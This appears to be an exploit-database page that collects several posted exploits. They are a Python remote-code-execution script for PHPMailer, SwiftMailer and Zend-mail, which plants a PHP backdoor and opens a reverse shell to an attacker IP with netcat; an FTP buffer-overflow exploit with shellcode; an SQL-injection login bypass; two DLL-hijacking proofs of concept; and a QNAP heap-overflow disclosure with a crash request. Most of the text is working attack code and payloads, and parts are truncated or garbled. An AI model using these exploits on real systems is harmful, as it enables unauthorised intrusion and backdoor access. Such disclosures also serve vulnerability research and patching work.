PHPMailer / Zend-mail / SwiftMailer Remote Code Execution

#!/usr/bin/python

intro = “””\033[94m
__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/

PHPMailer / Zend-mail / SwiftMailer – Remote Code Execution Exploit
a.k.a “PwnScriptum”

CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074

This PoC exploit aims to execute a reverse shell on the target in
the context of the web-server user via vulnerable PHP email library.

Discovered and Coded by:

\033[1;34m
Dawid Golunski
https://legalhackers.com

t: @dawid_golunski for updates
\033[0m
\033[94m
P.$. For testing only! Don’t break the Web 😉
\033[0m
“””
info = “””
[Version]
Limited (ver. 1.0)

[PoC Video]
See the the exploit in action at:

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

[Info]
This exploit targets a common webapp component – Contact Form.

It combines payloads for the following vulns:

1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html

3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html

[Usage]

./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
[-d TARGET_UP_DIR] -ip ATTACKERS_IP
[-p ATTACKERS_PORT] [–version]
[–post-action POST_ACTION]
[–post-name POST_NAME]
[–post-email POST_EMAIL]
[–post-msg POST_MSG]

Note, make sure the contact form matches the default field names (send/name/email/msg).
Otherwise override with –post-msg=message_box for example.

“””

import os
import argparse
import time
import urllib
import urllib2
import socket
import sys

# The Main Meat
print intro

# Show info
if ‘-H’ in sys.argv:
print info
exit(0)
# Parse input args
parser = argparse.ArgumentParser(prog=’PwnScriptum_RCE_exploit.py’, description=’PHPMailer / Zend-mail / SwiftMailer – RCE Exploit (a.k.a \’PwnScriptum\’)\nDiscovered by Dawid Golunski (https://legalhackers.com)’)
parser.add_argument(‘-H’, action=’store_true’, default=”false”, required=False, help=’Full Help / Info Page’)
parser.add_argument(‘-url’, dest=’WEBAPP_BASE_URL’, required=True, help=’WebApp Base Url’)
parser.add_argument(‘-cf’, dest=’CONTACT_SCRIPT’, required=True, help=’Contact Form scriptname’)
parser.add_argument(‘-d’ , dest=’TARGET_UP_DIR’, required=False, help=’Target Upload Dir’)
parser.add_argument(‘-ip’, dest=’ATTACKERS_IP’, required=True, help=’Attackers Public IP for RevShell’)
parser.add_argument(‘-p’, dest=’ATTACKERS_PORT’, required=False, help=’Attackers Port for RevShell listener’)
parser.add_argument(‘–version’, action=’version’, version=’%(prog)s 1.0 Limited edition’)
parser.add_argument(‘–post-action’, dest=’POST_ACTION’, required=False, help=’Overrides POST “action” field name’, default=”send”)
parser.add_argument(‘–post-name’, dest=’POST_NAME’, required=False, help=’Overrides POST “name of sender” field name’, default=”name”)
parser.add_argument(‘–post-email’, dest=’POST_EMAIL’, required=False, help=’Overrides POST “email” field name’, default=”email”)
parser.add_argument(‘–post-msg’, dest=’POST_MSG’, required=False, help=’Overrides POST “message” field name’, default=”msg”)
args = parser.parse_args()

# Preset vars
TMOUT = 3
# Set Vars
if args.ATTACKERS_PORT is None:
args.ATTACKERS_PORT = 8080
if args.TARGET_UP_DIR is None:
args.TARGET_UP_DIR = “upload”
# Build the target backdoor URL here (note the “random” pid bit to avoid php code collisions on multiple runs / multiple phpfile appends 😉
BACKDOOR_FILE = ‘phpbackdoor’ + str(os.getpid()) + ‘.php’
BACKDOOR_URL = args.WEBAPP_BASE_URL + ‘/’ + args.TARGET_UP_DIR + ‘/’ + BACKDOOR_FILE
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT

# Show params
print “””[+] Setting vars to: \n
WEBAPP_BASE_URL = [%s]
CONTACT_SCRIPT = [%s]
TARGET_UP_DIR = [%s]
ATTACKERS_IP = [%s]
ATTACKERS_PORT = [%s]
CONTACT_SCRIPT_URL = [%s]
BACKDOOR_FILEl = [%s]
“”” % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)

print “[+] Choose your target / payload: “
print “\033[1;34m”
print “””[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print “””[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
The escapeshellarg() bypass :)\n”””
print “””[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print “””[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print “\033[0m”

try:
target = int(raw_input(‘[?] Select target [1-2]: ‘))
except ValueError:
print “Not a valid choice. Exiting\n”
exit(2)
if (target>4):
print “No such target. Exiting\n”
exit(3)
if target == 1:
# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
payload = ‘”attacker\\” -oQ/tmp/ -X%s/%s some”@email.com’ % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = “\”attacker\\’ -oQ/tmp/ -X%s/%s some\”@email.com” % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
payload = ‘”attacker\\” -oQ/tmp/ -X%s/%s “@email.com’ % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
payload = ‘”attacker\\” -oQ/tmp/ -X%s/%s “@email.com’ % (args.TARGET_UP_DIR, BACKDOOR_FILE)

print “\n[+] Generated mail() payload will upload the backdoor into the ‘%s’ dir\n” % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g:
#RCE_PHP_CODE = “
RCE_PHP_CODE = “””/dev/tcp/%s/%s 0<&1 2>&1′ “); ?>””” % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT)

# The form names might need to be adjusted
post_fields = {‘action’: “%s” % args.POST_ACTION, “%s” % args.POST_NAME: ‘Jas Fasola’, “%s” % args.POST_EMAIL: payload, “%s” % args.POST_MSG: RCE_PHP_CODE}

# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print “[+] Backdoor upload via the contact form at ‘%s’\n” % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
response = urllib2.urlopen(req)
the_page = response.read()

# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.

# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print “[+] Checking for the backdoor at the URL ‘%s’\n” % BACKDOOR_URL
got_timeout = 0
http_err = 0
try:
urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError as e:
http_err = e.code
except socket.timeout as e:
print “[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it 🙂 \nUrlopen timed out just in time for the shell :)\n”
got_timeout = 1

if (got_timeout != 1):
print “[!] Something went wrong… Got error: [%d] \nTry another dir? Push through, don’t give up! :)\n” % http_err
exit(2)

# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print “[+] We should get a shell if we got till here! Spawning netcat now! :)\n”
print “[+] \033[1;34mPlease tell me you’re seeing this too… ;)\033[0m\n”
os.system(“nc -v -l -p %d” % args.ATTACKERS_PORT)

print “\n[+] Shell closed\n”

print “\033[1;34mP.$. There’s more to it 🙂 Exiting, for now…\033[0m\n”

Internet Download Accelerator 6.10.1.1527 Buffer Overflow

#!/usr/bin/python
#
# Exploit Title: IDA 6.10.1.1527 FTP SEH Universal exploit.
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r
# Date: Jan 2, 2017
# Vendor Homepage: http://westbyte.com/
# Software Link: http://westbyte.com/index.phtml?page=support&tmp=1&lng=English&product=Internet%20Download%20Accelerator.
# Version: 6.10.1.1527
# Tested on: IDA 6.10.1.1527 Free Version – Windows 7 SP1 – Windows 10.
# ————–
# Internet download accelerator suffers from a BOF when an FTP Download of file with
# long name fails.
# ————–
# To Exploit this issue:
# 1- Run HTTP server that will redirect to the FTP file with long name.
# 2- The ftp server will answer to the commands sent then will open a data connection.
# 3- The script will send an empty file list and close the connection to trigger the BOF condition.
# 5- Happy new year :D.

import SocketServer
import threading

# IP to listen to, needed to construct PASV response so 0.0.0.0 is not gonna work.
ip = “192.168.1.100”
ipParts = ip.split(“.”)
PasvResp = “(“+ ipParts[0]+ “,” + ipParts[1]+ “,” + ipParts[2] + “,” + ipParts[3] + “,151,130)”
# Run Calc.exe
buf=(“\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B”
“\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B”
“\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31”
“\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA”
“\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14”
“\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65”
“\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC”)

class HTTPHandler(SocketServer.BaseRequestHandler):
“””
The request handler class for our HTTP server.

This is just so we don’t have to provide a suspicious FTP link with long name.
“””

def handle(self):
# self.request is the TCP socket connected to the client
self.data = self.request.recv(1024).strip()
print “[*] Recieved HTTP Request”
print “[*] Sending Redirction To FTP”
# just send back the same data, but upper-cased
# SEH Offset 336 – 1056 bytes for the payload – 0x10011b53 unzip32.dll ppr 0x0c
payload = “ftp://192.168.1.100/”+ ‘A’ * 336 + “\xeb\x06\x90\x90” + “\x53\x1b\x01\x10” + buf + “B” * (1056 – len(buf))
self.request.sendall(“HTTP/1.1 302 Found\r\n” +
“Host: Server\r\nConnection: close\r\nLocation: “+
payload+
“\r\nContent-type: text/html; charset=UTF-8\r\n\r\n”)
print “[*] Redirection Sent…”

class FTPHandler(SocketServer.BaseRequestHandler):
“””
The request handler class for our FTP server.

This will work normally and open a data connection with IDA.
“””

def handle(self):
# User Command
self.request.sendall(“220 Nasty FTP Server Ready\r\n”)
User = self.request.recv(1024).strip()
print “[*] Recieved User Command: ” + User
self.request.sendall(“331 User name okay, need password\r\n”)
# PASS Command
Pass = self.request.recv(1024).strip()
print “[*] Recieved PASS Command: ” + Pass
self.request.sendall(“230-Password accepted.\r\n230 User logged in.\r\n”)
# SYST Command
Syst = self.request.recv(1024).strip()
print “[*] Recieved SYST Command: ” + Syst
self.request.sendall(“215 UNIX Type: L8\r\n”)
# TYPE Command
Type = self.request.recv(1024).strip()
print “[*] Recieved Type Command: ” + Type
self.request.sendall(“200 Type set to I\r\n”)
# REST command
Rest = self.request.recv(1024).strip()
print “[*] Recieved Rest Command: ” + Rest
self.request.sendall(“200 OK\r\n”)
# CWD command
Cwd = self.request.recv(2048).strip()
print “[*] Recieved CWD Command: ” + Cwd
self.request.sendall(“250 CWD Command successful\r\n”)

# PASV command.
Pasv = self.request.recv(1024).strip()
print “[*] Recieved PASV Command: ” + Pasv
self.request.sendall(“227 Entering Passive Mode ” + PasvResp + “\r\n”)

#LIST
List = self.request.recv(1024).strip()
print “[*] Recieved LIST Command: ” + List
self.request.sendall(“150 Here comes the directory listing.\r\n226 Directory send ok.\r\n”)

class FTPDataHandler(SocketServer.BaseRequestHandler):
“””
The request handler class for our FTP Data connection.

This will send useless response and close the connection to trigger the error.
“””

def handle(self):
# self.request is the TCP socket connected to the client
print “[*] Recieved FTP-Data Request”
print “[*] Sending Empty List”
# just send back the same data, but upper-cased
self.request.sendall(“total 0\r\n\r\n”)
self.request.close()

if __name__ == “__main__”:
HOST, PORT = ip, 8000
SocketServer.TCPServer.allow_reuse_address = True

print “[*] Starting the HTTP Server.”
# Create the server, binding to localhost on port 8000
HTTPServer = SocketServer.TCPServer((HOST, PORT), HTTPHandler)

# Running the http server (using a thread so we can continue and listen for FTP and FTP-Data).
HTTPThread = threading.Thread(target=HTTPServer.serve_forever)
HTTPThread.daemon = True
HTTPThread.start()

print “[*] Starting the FTP Server.”
# Running the FTP server.
FTPServer = SocketServer.TCPServer((HOST, 21), FTPHandler)

# Running the FTP server thread.
FTPThread = threading.Thread(target=FTPServer.serve_forever)
FTPThread.daemon = True
FTPThread.start()

print “[*] Opening the data connection.”
# Opening the FTP data connection – DON’T CHANGE THE PORT.
FTPData = SocketServer.TCPServer((HOST, 38786), FTPHandler)

# Running the FTP Data connection Thread.
DataThread = threading.Thread(target=FTPData.serve_forever)
DataThread.daemon = True
DataThread.start()

print “[*] Listening for FTP Data.”
# Making the main thread wait.
print “[*] To exit the script please press any key at any time.”
raw_input()

My Click Counter 1.0 SQL Injection

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: Admin login bypass via SQLi
[x] Vendor: http://software.friendsinwar.com/
[x] Script Name: My Click Counter
[x] Script Version: 1.0
[x] Script DL: http://software.friendsinwar.com/downloads.php?cat_id=2&file_id=15
[x] Author: AnarchyAngel AKA Adam
[x] Mail : anarchy[dot][email protected][dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Navigate to scripts admin login page and submit ' or ''=' for username and password
it should give you access to the admin area. Enjoy >:)

PDFAdd 1.2 DLL Hijacking

=====================================================
[#] Exploit Title : PDfAdd 1.2 – DLL Hijacking Vulnerability
[#] Date Discovered : 2016-12-22
[#] Affected Product(s): PDfAdd v1.2 – Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================

[#] Product & Service Introduction:
===================================
PdfAdd is a free and free program that includes several wizards that make it easier to create pdflatex and asymptote graphics most commonly used in high school mathematics programs.
This program is primarily aimed at secondary school teachers using the LaTeX composition system.

(Copy of the Vendor Homepage: http://www.xm1math.net/ )

[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official PDfAdd v1.2 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
[+] PDfAdd

Vulnerable Version(s):
[+] v1.2

Vulnerable Libraries:
[+] quserex.dll

[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability …
1. Compile dll and rename to quserex.dll
2. Copy quserex.dll to C:\Program Files\PdfAdd\pdfadd.exe
3. Launch pdfadd.exe
4. MessageBox Executed

— PoC Exploit —

#include
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, “DLL Hijacking By ZwX!”, “DLL Message”, MB_OK);
return 0;
}

[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

Domain: www.zwx.fr
Contact: [email protected]
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
iedb.ir/author-ZwX.html
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
0day.today/author/27461

Copyright (c) 2017 | ZwX – Security Researcher (Software & web application)

Free M4A To MP3 Converter 9.3 DLL Hijacking

=====================================================
[#] Exploit Title : Free M4a to MP3 Converter 9.3 – DLL Hijacking Vulnerability
[#] Date Discovered : 2016-12-19
[#] Affected Product(s): Free M4a to MP3 Converter v9.3 – Software
[#] Exploitation Technique: Local
[#] Severity Level: Medium
[#] Tested OS : Windows 7
=====================================================

[#] Product & Service Introduction:
===================================
Free M4a to MP3 Converter is an application allowing, among others, the conversion of M4a audio files to MP3.
This specific-purpose software will support compression formats used by Itunes and Real Player: AAC, M4a, M4b.

(Copy of the Vendor Homepage: http://www.maniactools.com/ )

[#] Technical Details & Description:
====================================
A local dll injection vulnerability has been discovered in the official Free M4a to MP3 Converter v9.3 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges.

Vulnerable Software:
[+] Free M4a to MP3 Converter

Vulnerable Version(s):
[+] v9.3

Vulnerable Libraries:
[+] jscript9.dll

[#] Proof of Concept (PoC):
===========================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability …
1. Compile dll and rename to jscript9.dll
2. Copy jscript9.dll to C:\Program Files\Free M4a to MP3 Converter\m4a_converter.exe
3. Launch Backupper.exe
4. MessageBox Executed

— PoC Exploit —

#include
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, “DLL Hijacking By ZwX!”, “DLL Message”, MB_OK);
return 0;
}

[#] Vulnerability Disclosure Timeline:
======================================
2016-12-19 : Discovery of the Vulnerability
2016-12-19 : Contact the Vendor (No Response)
2016-12-30 : Public Disclosure

[#] Disclaimer:
===============
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

Domain: www.zwx.fr
Contact: [email protected]
Social: twitter.com/XSSed.fr
Feeds: www.zwx.fr/feed/
Advisory: www.vulnerability-lab.com/show.php?user=ZwX
packetstormsecurity.com/files/author/12026/
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
0day.today/author/27461

Copyright (c) 2016 | ZwX – Security Researcher (Software & web application)

QNAP NAS Heap Overflow

Greetings,

Twice I tried to use the QNAP Web page (https://aid.qnap.com/event/_module/nas/safe_report/) for reporting vulnerability, and twice I got mailer-daemon back.

So, Iall post my vulnerabilities here instead (Was not meant to be 0-daya| whatever).

Have a nice day (and happy new year)
/bashis

==================
1) [Heap overflow]
==================

Path: /home/httpd/cgi-bin/cgi.cgi
u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en “GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done` HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443

HTTP/1.1 200 OK
Date: Sat, 31 Dec 2016 00:01:11 GMT
*** glibc detected *** cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
======= Memory map: ========
08048000-08069000 r-xp 00000000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00: 0e 7559 /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00: 00 0 [heap]
[====SNIP====]
ffe53000-ffe54000 rw-p 00000000 00: 00 0
Content-Length: 0
Connection: close
Content-Type: text/plain

[Remote host]#

=======

1.2)

/* Local test, to get more info from backtrace */

# export QUERY_STRING=”u=admin&p=`for((i=0;i<263;i++));do echo -en "A";done`"
# ./cgi.cgi

*** glibc detected *** ./cgi.cgi: free(): invalid next size (normal): 0x0806cec8 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c3da62]
/lib/libc.so.6(cfree+0x89)[0xf6c3f729]
/lib/libc.so.6(fclose+0x136)[0xf6c2e5c6]
/lib/libnss_compat.so.2[0xf6b8ac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6b8b282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6c9ef57]
/lib/libc.so.6(getspnam+0x78)[0xf6c9e3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7518972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7518f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7519098]
./cgi.cgi[0x80502ed]
./cgi.cgi[0x8051a7e]
/lib/libc.so.6(__libc_start_main+0xe0)[0xf6bedf90]
./cgi.cgi[0x804d151]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 7559 /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0 [heap]
[====SNIP====]
ffd9e000-ffdbe000 rwxp 00000000 00:00 0 [stack]
ffdbe000-ffdbf000 rw-p 00000000 00:00 0
Aborted
#

1.3)
# export QUERY_STRING=”u=admin&p=`for((i=0;i<5957;i++));do echo -en "A";done`"
# ./cgi.cgi
*** glibc detected *** : free(): invalid next size (normal): 0x0806e508 ***
======= Backtrace: =========
/lib/libc.so.6[0xf6c9da62]
/lib/libc.so.6(cfree+0x89)[0xf6c9f729]
/lib/libc.so.6(fclose+0x136)[0xf6c8e5c6]
/lib/libnss_compat.so.2[0xf6beac25]
/lib/libnss_compat.so.2(_nss_compat_getspnam_r+0xb2)[0xf6beb282]
/lib/libc.so.6(getspnam_r+0x77)[0xf6cfef57]
/lib/libc.so.6(getspnam+0x78)[0xf6cfe3f8]
/usr/lib/libuLinux_NAS.so.0(Check_Local_User_Password+0x16c)[0xf7578972]
/usr/lib/libuLinux_NAS.so.0(Check_System_User_Password+0x56)[0xf7578f66]
/usr/lib/libuLinux_NAS.so.0(Check_NAS_Administrator_Password+0x24)[0xf7579098]
[0x80502ed]
[0x0]
======= Memory map: ========
08048000-08069000 r-xp 00000000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi
08069000-0806b000 rw-p 00020000 00:0e 6705 /home/httpd/cgi-bin/authLogin.cgi
0806b000-0808c000 rw-p 00000000 00:00 0 [heap]
[====SNIP====]
# ./cgi.cgi
Segmentation fault
#
# dmesg
[====SNIP====]
[ 2185.562493] cgi.cgi[17772]: segfault at ff9a4010 ip 00000000f6bd75c3 sp 00000000ff99f1bc error 4 in libc-2.6.1.so[f6b6b000+12d000]
[====SNIP====]

/* Local as shown below, but can of course be called from remote */

==================
2) [STACK junk]
==================

# export QUERY_STRING=”bug”
# ./jc.cgi
Segmentation fault
# dmesg
[====SNIP====]
[76277.192562] jc.cgi[18159]: segfault at 0 ip 00000000f6cbdffc sp 00000000ffeddbbc error 4 in libc-2.6.1.so[f6c52000+12d000]
[====SNIP====]

==================
3) [STACK junk]
==================

/* Local as shown, but can be called from remote */

# export QUERY_STRING=”bug”
# ./mediaGet.cgi
Segmentation fault
# dmesg
[====SNIP====]
[76802.837766] mediaGet.cgi[6589]: segfault at 0 ip 00000000f6bd8ffc sp 00000000ffc0498c error 4 in libc-2.6.1.so[f6b6d000+12d000]
[====SNIP====]

Have a nice day (and happy new year)
/bashis

========================

Hello [email protected],

We’re writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren’t able to post:

* You might have spelled or formatted the group name incorrectly.
* The owner of the group may have removed this group.
* You may need to join the group before receiving permission to post.
* This group may not be open to posting.

If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/qnap.com/bin/topic.py?topic=25838.

Thanks,

qnap.com admins

—– Original message —–

X-Received: by 10.99.242.5 with SMTP id v5mr94097752pgh.181.1483213806030;
Sat, 31 Dec 2016 11:50:06 -0800 (PST)
Return-Path:
Received: from qnappm.info (mail2.qnappm.info. [113.196.50.102])
by mx.google.com with ESMTP id c74si60891262pfk.272.2016.12.31.11.50.05
for ;
Sat, 31 Dec 2016 11:50:06 -0800 (PST)
Received-SPF: fail (google.com: domain of [email protected] does not designate 113.196.50.102 as permitted sender) client-ip=113.196.50.102;
Authentication-Results: mx.google.com;
spf=fail (google.com: domain of [email protected] does not designate 113.196.50.102 as permitted sender) [email protected]
X-AuthUser: [email protected]
Received: from aid.qnap.com ([113.196.50.99]:36962)
by mail2.qnappm.info with [XMail 1.27 ESMTP Server]
id for from ;
Sun, 1 Jan 2017 04:13:48 +0800
Date: Sun, 1 Jan 2017 03:50:06 +0800
Return-Path: [email protected]
To: [email protected]
From: bashis mcw
Subject: Reporting Security Issues – [Critical] QNAP NAS devices suffer of Heap Overflow!
Message-ID: <[email protected]>
X-Priority: 3
X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary=”b1_5acc9d206d9601dc574a02b114c83e8a”

Category : Administration

Subject : QNAP NAS devices suffer of Heap Overflow!
Severity Level : Critical
Description :

Greetings gents,

QNAP NAS devices suffer from a critical Heap Overflow in “cgi.cgi” and
non critical stack crash in “jc.cgi and mediaGet.cgi”.

Successful exploitation of this heap overflow vulnerability can lead to
unauthorised root (admin) privileges on QNAP devices with anonymous
access. (no credential needed to exploit)

Please note: 1st February 2017 i will release details of these bugs to
Full Disclosure and Bugtraq e-mail lists.

Please see below and attached.

Have a nice day (and happy new year)
/bashis

==================
1) [HEAP overflow]
==================

Path: /home/httpd/cgi-bin/cgi.cgi
u = valid user [guest|admin]

1.1)

/* Remote */

[Remote host]# echo -en “GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i

Sign Time : 2017/01/01 03:50:06